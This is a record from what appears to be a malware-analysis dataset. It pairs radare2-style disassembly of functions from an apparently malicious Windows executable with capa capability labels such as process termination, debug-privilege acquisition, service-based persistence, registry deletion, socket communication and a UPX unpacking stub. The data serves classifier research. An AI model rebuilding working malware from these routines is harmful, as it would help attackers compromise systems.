joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4064f0
Capabilities:
Check if file exists
Delete file
Get file attributes
Set file attributes

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x41cc9b
push eax
mov eax, 0x2d5e4
mov dword fs:[0], esp
call fcn.004099f0
push ebp
push esi
mov ebp, ecx
push edi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x1c]
push 0x104
rep stosd dword es:[edi], eax
lea eax, [esp + 0x20]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x1c]
push 0x5c
push ecx
call fcn.00409b90
mov byte [eax + 1], 0
mov edi, str.spy9.map
or ecx, 0xffffffff
xor eax, eax
add esp, 8
lea edx, [esp + 0x1c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x1c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x406629
mov ecx, ebp
call fcn.00406860
lea ecx, [esp + 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
and al, 0xfe
lea edx, [esp + 0x1c]
push eax
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 0xc]
call fcn.00416185
push 0
lea ecx, [esp + 0x20]
push 0x1001
push ecx
lea ecx, [esp + 0x18]
mov dword [esp + 0x2d604], 0
call fcn.00416297
test eax, eax
je 0x40660e
mov ecx, 0xb534
xor eax, eax
lea edi, [esp + 0x120]
lea edx, [esp + 0x120]
rep stosd dword es:[edi], eax
push 0x2d4d0
push edx
lea ecx, [esp + 0x14]
call fcn.004163ee
lea ecx, [esp + 0xc]
call fcn.004164b2
mov ecx, ebp
call fcn.00406880
lea ecx, [esp + 0xc]
mov dword [esp + 0x2d5f8], 0xffffffff
call fcn.004161da
mov ecx, dword [esp + 0x2d5f0]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x2d5f0
ret
Function at 0x4068f0
Capabilities:
Connect socket
Connect udp socket
Create udp socket
Get socket status
Set socket configuration

Disassembly:
sub esp, 0x228
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 0x1004]
push eax
call sub.WSOCK32.dll_closesocket
mov eax, dword [esi + 0x1004]
mov edi, 1
cmp eax, 0xffffffff
jne 0x406938
push 0
push edi
push 2
call sub.WSOCK32.dll_socket
cmp eax, 0xffffffff
mov dword [esi + 0x1004], eax
jne 0x406938
pop edi
xor eax, eax
pop esi
add esp, 0x228
ret 0xc
mov eax, dword [esp + 0x234]
xor ecx, ecx
mov dword [esp + 0x10], ecx
cmp eax, 0xffffffff
mov dword [esp + 0x14], ecx
mov word [esp + 0x10], 2
mov dword [esp + 0x18], ecx
mov dword [esp + 0x14], eax
mov dword [esp + 0x1c], ecx
jne 0x40696e
pop edi
xor eax, eax
pop esi
add esp, 0x228
ret 0xc
mov edx, dword [esp + 0x238]
push edx
call sub.WSOCK32.dll_htons
mov ecx, dword [esi + 0x1004]
mov word [esp + 0x12], ax
lea eax, [esp + 8]
mov dword [esp + 8], edi
push eax
push 0x8004667e
push ecx
call sub.WSOCK32.dll_ioctlsocket
mov eax, dword [esi + 0x1004]
lea edx, [esp + 0x10]
push 0x10
push edx
push eax
call sub.WSOCK32.dll_connect
cmp eax, 0xffffffff
jne 0x406a1e
mov ecx, dword [esp + 0x23c]
mov eax, dword [esi + 0x1004]
lea edx, [esp + 0x20]
mov dword [esp + 0x20], ecx
push edx
lea ecx, [esp + 0x2c]
mov dword [esp + 0x30], eax
mov dword [esp + 0x134], eax
push 0
lea edx, [esp + 0x134]
push ecx
inc eax
push edx
push eax
mov dword [esp + 0x38], 0
mov dword [esp + 0x3c], edi
mov dword [esp + 0x140], edi
call sub.WSOCK32.dll_select
test eax, eax
je 0x406a15
mov ecx, dword [esi + 0x1004]
lea eax, [esp + 0x28]
push eax
push ecx
call sub.WSOCK32.dll___WSAFDIsSet
test eax, eax
jne 0x406a1e
mov ecx, esi
xor edi, edi
call fcn.004068d0
mov eax, dword [esi + 0x1004]
lea edx, [esp + 8]
push edx
push 0x8004667e
push eax
mov dword [esp + 0x14], 0
call sub.WSOCK32.dll_ioctlsocket
mov edx, dword [esi + 0x1004]
lea ecx, [esp + 0xc]
push 4
push ecx
push 0x1005
push 0xffff
push edx
mov dword [esp + 0x20], 0x1388
call sub.WSOCK32.dll_setsockopt
mov ecx, dword [esi + 0x1004]
lea eax, [esp + 0xc]
push 4
push eax
push 0x1006
push 0xffff
push ecx
call sub.WSOCK32.dll_setsockopt
mov eax, edi
pop edi
pop esi
add esp, 0x228
ret 0xc

Function at 0x406a90
Capabilities:
Check for time delay via gettickcount
Receive data
Receive data on socket

Disassembly:
sub esp, 8
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetTickCount]
push esi
push edi
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], 0
call ebp
mov edi, dword [esp + 0x1c]
mov esi, dword [esp + 0x20]
mov ebx, eax
mov eax, dword [esp + 0x14]
push 0
push esi
push edi
mov ecx, dword [eax + 0x1004]
push ecx
call sub.WSOCK32.dll_recv
cmp eax, 0xffffffff
jne 0x406aef
call sub.WSOCK32.dll_WSAGetLastError
cmp eax, 0x2733
jne 0x406b09
call ebp
sub eax, ebx
cmp eax, 0xfa0
ja 0x406b09
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x406b05
test eax, eax
je 0x406b09
mov edx, dword [esp + 0x10]
add edi, eax
add edx, eax
sub esi, eax
mov dword [esp + 0x10], edx
call ebp
mov ebx, eax
test esi, esi
jg 0x406ab5
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret 8
Function at 0x406b20
Capabilities:
Check for time delay via gettickcount
Send data
Send data on socket

Disassembly:
push ecx
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetTickCount]
push esi
push edi
mov dword [esp + 0x10], ecx
call ebp
mov edi, dword [esp + 0x18]
mov esi, dword [esp + 0x1c]
mov ebx, eax
mov eax, dword [esp + 0x10]
push 0
push esi
push edi
mov ecx, dword [eax + 0x1004]
push ecx
call sub.WSOCK32.dll_send
cmp eax, 0xffffffff
jne 0x406b75
call sub.WSOCK32.dll_WSAGetLastError
cmp eax, 0x2733
jne 0x406b87
call ebp
sub eax, ebx
cmp eax, 0xfa0
ja 0x406b87
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x406b81
test eax, eax
jle 0x406b87
add edi, eax
sub esi, eax
call ebp
mov ebx, eax
test esi, esi
jle 0x406b91
jmp 0x406b3b
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret 8
mov eax, dword [esp + 0x1c]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 8

Function at 0x406e50
Capabilities:
Read .ini file

Disassembly:
sub esp, 0x104
mov ecx, 0x41
xor eax, eax
push ebx
push esi
push edi
lea edi, [esp + 0xc]
rep stosd dword es:[edi], eax
lea eax, [esp + 0xc]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0xc]
push 0x5c
push ecx
call fcn.00409b90
mov edi, dword [esp + 0x11c]
mov byte [eax + 1], 0
or ecx, 0xffffffff
xor eax, eax
add esp, 8
lea edx, [esp + 0xc]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov edx, dword [esp + 0x11c]
mov ecx, ebx
and ecx, 3
lea eax, [esp + 0xc]
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x120]
push eax
mov eax, dword [esp + 0x11c]
push ecx
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
pop edi
pop esi
pop ebx
add esp, 0x104
ret

Function at 0x4070a0
Capabilities:
Resolve dns
Set socket configuration

Disassembly:
push esi
mov esi, dword [esp + 8]
push esi
call sub.WSOCK32.dll_inet_addr
cmp eax, 0xffffffff
jne 0x4070c5
push esi
call sub.WSOCK32.dll_gethostbyname
test eax, eax
je 0x4070c3
mov eax, dword [eax + 0xc]
pop esi
mov ecx, dword [eax]
mov eax, dword [ecx]
ret
xor eax, eax
pop esi
ret

Function at 0x4070d0
Capabilities:
Get hostname
Resolve dns

Disassembly:
sub esp, 0x404
push edi
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
lea eax, [esp + 4]
lea ecx, [esp + 8]
push eax
push ecx
mov dword [esp + 0xc], 0x400
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea edi, [esp + 8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
pop edi
jne 0x407114
add esp, 0x404
ret
lea edx, [esp + 4]
push edx
call sub.WSOCK32.dll_gethostbyname
test eax, eax
jne 0x407129
add esp, 0x404
ret
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov eax, dword [ecx]
add esp, 0x404
ret
Function at 0x407140
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x41cd27
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
mov eax, dword [0x424a3c]
push ebx
push esi
xor esi, esi
mov dword [esp + 0x14], esi
mov dword [esp + 8], eax
mov ebx, 1
mov dword [esp + 0xc], eax
mov dword [esp + 0x28], ebx
or eax, 0xffffffff
lea ecx, [esp + 0x10]
mov dword [esp + 0x18], eax
lea edx, [esp + 0x18]
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x34]
push ecx
push edx
push esi
push eax
mov byte [esp + 0x38], 2
mov dword [esp + 0x20], 6
call sub.iphlpapi.dll_SendARP
cmp eax, esi
jne 0x407273
mov eax, dword [esp + 0x10]
cmp eax, esi
je 0x407273
lea ecx, [eax + eax*2]
push edi
push ecx
call fcn.00416151
mov edx, dword [esp + 0x18]
add esp, 4
dec edx
mov edi, eax
test edx, edx
jbe 0x407200
xor eax, eax
lea ecx, [esp + 0xc]
mov al, byte [esp + esi + 0x1c]
push eax
push str._02X
push ecx
call fcn.0041534b
add esp, 0xc
lea edx, [esp + 0xc]
lea ecx, [esp + 0x10]
push edx
call fcn.0041602e
mov eax, dword [esp + 0x14]
inc esi
dec eax
cmp esi, eax
jb 0x4071cf
xor ecx, ecx
lea edx, [esp + 0xc]
mov cl, byte [esp + esi + 0x1c]
push ecx
push str._02X
push edx
call fcn.0041534b
add esp, 0xc
lea eax, [esp + 0xc]
lea ecx, [esp + 0x10]
push eax
call fcn.0041602e
push edi
call fcn.0041617a
mov esi, dword [esp + 0x38]
add esp, 4
lea ecx, [esp + 0x10]
push ecx
mov ecx, esi
call fcn.00415ab1
lea ecx, [esp + 0x10]
mov dword [esp + 0x18], ebx
mov byte [esp + 0x2c], bl
call fcn.00415d3c
lea ecx, [esp + 0xc]
mov byte [esp + 0x2c], 0
call fcn.00415d3c
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x18]
mov dword fs:[0], ecx
add esp, 0x24
ret
mov esi, dword [esp + 0x30]
push 0x42818c
mov ecx, esi
call fcn.00415daa
mov dword [esp + 0x14], ebx
lea ecx, [esp + 0xc]
mov byte [esp + 0x28], bl
call fcn.00415d3c
lea ecx, [esp + 8]
mov byte [esp + 0x28], 0
call fcn.00415d3c
mov ecx, dword [esp + 0x20]
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x24
ret
Function at 0x4072c0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push 0xffffffffffffffff
push 0x41cd53
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x12c
push ebx
push 0
push 2
mov dword [esp + 0x140], 0
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, eax
lea eax, [esp + 8]
push eax
push ebx
mov dword [esp + 0x10], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x4073a5
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ecx, dword [0x424a3c]
mov dword [esp + 0x10], ecx
lea edx, [esp + 0x38]
lea ecx, [esp + 0x10]
push edx
mov byte [esp + 0x148], 1
call fcn.00415e79
lea ecx, [esp + 0x10]
call fcn.004160ef
lea ecx, [esp + 0x14c]
call fcn.004160ef
mov eax, dword [esp + 0x14c]
mov ecx, dword [esp + 0x10]
push eax
push ecx
call fcn.0040945e
add esp, 8
test eax, eax
jne 0x40737c
mov edx, dword [esp + 0x1c]
push edx
push eax
push 0x1f0fff
call edi
push 0
push eax
call ebp
lea eax, [esp + 0x14]
push eax
push ebx
call sub.KERNEL32.dll_Process32Next
lea ecx, [esp + 0x10]
mov esi, eax
mov byte [esp + 0x144], 0
call fcn.00415d3c
test esi, esi
jne 0x40731c
pop edi
pop esi
pop ebp
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x140]
mov dword [esp + 0x138], 0xffffffff
call fcn.00415d3c
mov ecx, dword [esp + 0x130]
pop ebx
mov dword fs:[0], ecx
add esp, 0x138
ret

Function at 0x4073e0
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x14
lea eax, [esp]
push esi
push eax
push 0x20
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x40744c
lea ecx, [esp + 0xc]
mov dword [esp + 8], 1
push ecx
push str.SeDebugPrivilege
push esi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov eax, dword [esp + 4]
push esi
push esi
lea edx, [esp + 0x10]
push 0x10
push edx
push esi
push eax
mov dword [esp + 0x2c], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp + 4]
mov esi, eax
neg esi
sbb esi, esi
push ecx
inc esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
add esp, 0x14
ret
Function at 0x4078a0
Capabilities:
Query service status

Disassembly:
sub esp, 0x1c
push ebx
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
test ebx, ebx
je 0x40794c
mov eax, dword [esp + 0x24]
push ebp
push esi
push edi
push 0x34
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebp, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edi, eax
test edi, edi
je 0x40793a
lea ecx, [esp + 0x10]
push ecx
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x407927
mov eax, dword [esp + 0x14]
mov esi, 3
cmp eax, 1
jne 0x40790d
push edi
mov esi, 2
call ebp
push ebx
call ebp
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret
cmp eax, 4
jne 0x40792a
push edi
mov esi, 1
call ebp
push ebx
call ebp
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret
or esi, 0xffffffff
push edi
call ebp
push ebx
call ebp
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret
push ebx
mov esi, 0xfffffffe
call ebp
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret
mov eax, 0xfffffffd
pop ebx
add esp, 0x1c
ret

Function at 0x407960
Capabilities:
Start service

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
push esi
call fcn.004078a0
add esp, 4
cmp eax, 1
je 0x4079b2
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x4079b2
push ebx
push 0x34
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
test esi, esi
je 0x4079ae
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push esi
call ebx
push edi
call ebx
pop ebx
pop edi
pop esi
ret

Function at 0x4079c0
Capabilities:
Stop service

Disassembly:
sub esp, 0x1c
push esi
push edi
mov edi, dword [esp + 0x28]
push edi
call fcn.004078a0
add esp, 4
cmp eax, 2
je 0x407a0f
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
je 0x407a0f
push 0x34
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
test eax, eax
je 0x407a08
lea ecx, [esp + 8]
push ecx
push 1
push eax
call dword [sym.imp.ADVAPI32.dll_ControlService]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop esi
add esp, 0x1c
ret
Function at 0x407a20
Capabilities:
Create service
Persist via windows service

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x41cdc0
push eax
mov dword fs:[0], esp
push ebx
push esi
push edi
xor edi, edi
push 0xf003f
push edi
push edi
mov dword [esp + 0x20], 1
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
je 0x407a97
mov eax, dword [esp + 0x24]
push edi
mov ecx, dword [esp + 0x24]
push edi
mov edx, dword [esp + 0x24]
push 0x42818c
push edi
push edi
push eax
push 1
push 2
push 0x110
push 0xf01ff
push ecx
push edx
push esi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test eax, eax
je 0x407a94
push eax
mov edi, 1
call ebx
push esi
call ebx
lea ecx, [esp + 0x1c]
call fcn.00415d3c
lea ecx, [esp + 0x20]
mov byte [esp + 0x14], 0
call fcn.00415d3c
lea ecx, [esp + 0x24]
mov dword [esp + 0x14], 0xffffffff
call fcn.00415d3c
mov ecx, dword [esp + 0xc]
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
add esp, 0xc
ret

Function at 0x407ae0
Capabilities:
Delete service
Query service status
Stop service

Disassembly:
sub esp, 0x20
push ebp
push 0xf003f
push 0
push 0
mov dword [esp + 0x10], 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebp, eax
test ebp, ebp
je 0x407b80
mov eax, dword [esp + 0x28]
push esi
push 0xf01ff
push eax
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
je 0x407b78
lea ecx, [esp + 0xc]
push edi
push ecx
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x407b5d
mov edi, dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
lea edx, [esp + 0x10]
push edx
push esi
call edi
test eax, eax
je 0x407b5d
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [esp + 0x18], 3
jne 0x407b5c
push 0x64
call ebx
lea eax, [esp + 0x14]
push eax
push esi
call edi
test eax, eax
jne 0x407b45
pop ebx
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
pop edi
je 0x407b71
mov dword [esp + 8], 1
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push ebp
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop esi
lea ecx, [esp + 0x28]
call fcn.00415d3c
mov eax, dword [esp + 4]
pop ebp
add esp, 0x20
ret

Function at 0x407ba0
Capabilities:
Modify service

Disassembly:
push edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x407bf5
mov eax, dword [esp + 8]
push ebx
push esi
push 2
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
test esi, esi
je 0x407bf0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push 2
push 0xffffffffffffffff
push esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
push esi
call ebx
push edi
call ebx
pop esi
pop ebx
pop edi
ret
Function at 0x407ff0
Capabilities:
Delete registry key
Delete registry value
Query or enumerate registry key

Disassembly:
push ecx
mov ecx, dword [esp + 0xc]
push ebx
push ebp
mov ebp, dword [esp + 0x10]
push esi
lea eax, [esp + 0x14]
push edi
push eax
push 0x2001f
push 0
push ecx
push ebp
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x40801d
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov eax, dword [esp + 0x20]
test eax, eax
je 0x408053
mov edx, dword [esp + 0x18]
push eax
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, eax
mov eax, dword [esp + 0x18]
push eax
call edi
push ebp
call edi
test esi, esi
je 0x40817a
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
push 0
push 0
mov eax, dword [esp + 0x20]
push 0
push 0
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
push 0
lea ecx, [esp + 0x24]
push 0
lea edx, [esp + 0x38]
push ecx
push edx
push 0
push 0
push 0
push eax
mov dword [esp + 0x50], 0
call ebx
test eax, eax
jne 0x40810d
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
mov eax, dword [esp + 0x20]
test eax, eax
jbe 0x408157
mov ecx, dword [esp + 0x10]
inc ecx
push ecx
call fcn.00416151
mov edx, dword [esp + 0x14]
add esp, 4
inc edx
mov esi, eax
mov eax, dword [esp + 0x18]
push edx
push esi
push 0
push eax
call edi
test eax, eax
jne 0x408120
mov ecx, dword [esp + 0x18]
push eax
push esi
push ecx
call fcn.00407ff0
add esp, 0xc
test eax, eax
push esi
je 0x40813c
call fcn.0041617a
mov eax, dword [esp + 0x24]
add esp, 4
test eax, eax
jbe 0x408157
push 0
push 0
mov ecx, dword [esp + 0x20]
push 0
push 0
push 0
lea edx, [esp + 0x24]
push 0
lea eax, [esp + 0x38]
push edx
push eax
push 0
push 0
push 0
push ecx
call ebx
test eax, eax
je 0x408092
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
push esi
call fcn.0041617a
mov eax, dword [esp + 0x1c]
add esp, 4
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
call fcn.0041617a
mov ecx, dword [esp + 0x1c]
add esp, 4
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x1c]
push eax
push ebp
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
je 0x40817a
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
pop ecx
ret
Function at 0x4081f0
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
sub esp, 0x14
mov eax, dword [esp + 0x18]
push ebx
push ebp
push esi
push edi
mov esi, ecx
push eax
mov dword [esp + 0x14], 0x10
call fcn.004070a0
add esp, 4
mov dword [esp + 0x18], eax
mov word [esp + 0x14], 2
push 0x26d3
call sub.WSOCK32.dll_htons
lea ebx, [esi + 4]
mov word [esp + 0x16], ax
mov ebp, dword [esp + 0x2c]
mov ecx, 0xfa
xor eax, eax
mov edi, ebx
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x30]
push ebp
stosb byte es:[edi], al
push ecx
mov edi, 0x42469c
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ebp
push ecx
push 0x42469c
call fcn.00403680
mov eax, dword [esp + 0x44]
mov ecx, dword [esi + 0x3f4]
add esp, 0x14
lea edx, [esp + 0x14]
push 0x10
push edx
push 0
push eax
push ebp
push ecx
call sub.WSOCK32.dll_sendto
mov ecx, dword [esi + 0x3f4]
lea edx, [esp + 0x10]
lea eax, [esp + 0x14]
push edx
push eax
push 0
push 0x3e8
push ebx
push ecx
call sub.WSOCK32.dll_recvfrom
push ebx
mov dword [esi + 0x3f0], eax
push eax
mov edi, 0x42469c
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ebx
push ecx
push 0x42469c
call fcn.00403680
mov eax, dword [esi + 0x3f0]
add esp, 0x14
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x14
ret 0xc

Function at 0x4082d0
Capabilities:
Create udp socket
Set socket configuration

Disassembly:
sub esp, 0x14
push esi
push 0
push 2
mov esi, ecx
push 2
call sub.WSOCK32.dll_socket
push 0
mov dword [esi + 0x3f4], eax
call sub.WSOCK32.dll_htonl
push 0
mov dword [esp + 0x10], eax
mov word [esp + 0xc], 2
call sub.WSOCK32.dll_htons
mov ecx, dword [esi + 0x3f4]
mov word [esp + 0xa], ax
lea eax, [esp + 8]
push 0x10
push eax
push ecx
call sub.WSOCK32.dll_bind
mov eax, dword [esi + 0x3f4]
lea edx, [esp + 4]
push 4
push edx
push 0x1006
push 0xffff
push eax
mov dword [esp + 0x18], 0x3e8
call sub.WSOCK32.dll_setsockopt
pop esi
add esp, 0x14
ret
Function at 0x508270
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x106000]
push edi
or ebp, 0xffffffff
jmp 0x508292
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x508299
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x508288
mov eax, 1
add ebx, ebx
jne 0x5082ab
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
ja 0x5082a0
jne 0x5082bc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x5082a0
xor ecx, ecx
sub eax, 3
jb 0x5082d0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x508342
mov ebp, eax
add ebx, ebx
jne 0x5082db
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x5082e8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x50830c
inc ecx
add ebx, ebx
jne 0x5082f8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
ja 0x5082ed
jne 0x508309
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x5082ed
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jle 0x50832c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x50831d
jmp 0x50828e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x50832c
add edi, ecx
jmp 0x50828e
pop esi
sub edi, dword [edi - 4]
push edi
mov edi, esi
mov ecx, 0x72
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x50834e
cmp byte [edi], 5
jne 0x50834e
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x508353
pop edi
mov eax, dword [edi]
or eax, eax
je 0x5083bb
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x108000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x108050]
xchg edx, eax
mov al, byte [edi]
inc edi
or al, al
je 0x50837b
push edx
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push edx
call dword [esi + 0x108054]
pop edx
or eax, eax
je 0x5083b9
mov dword [ebx], eax
add ebx, 4
jmp 0x508398
popal
ret
popal
jmp 0x402c8e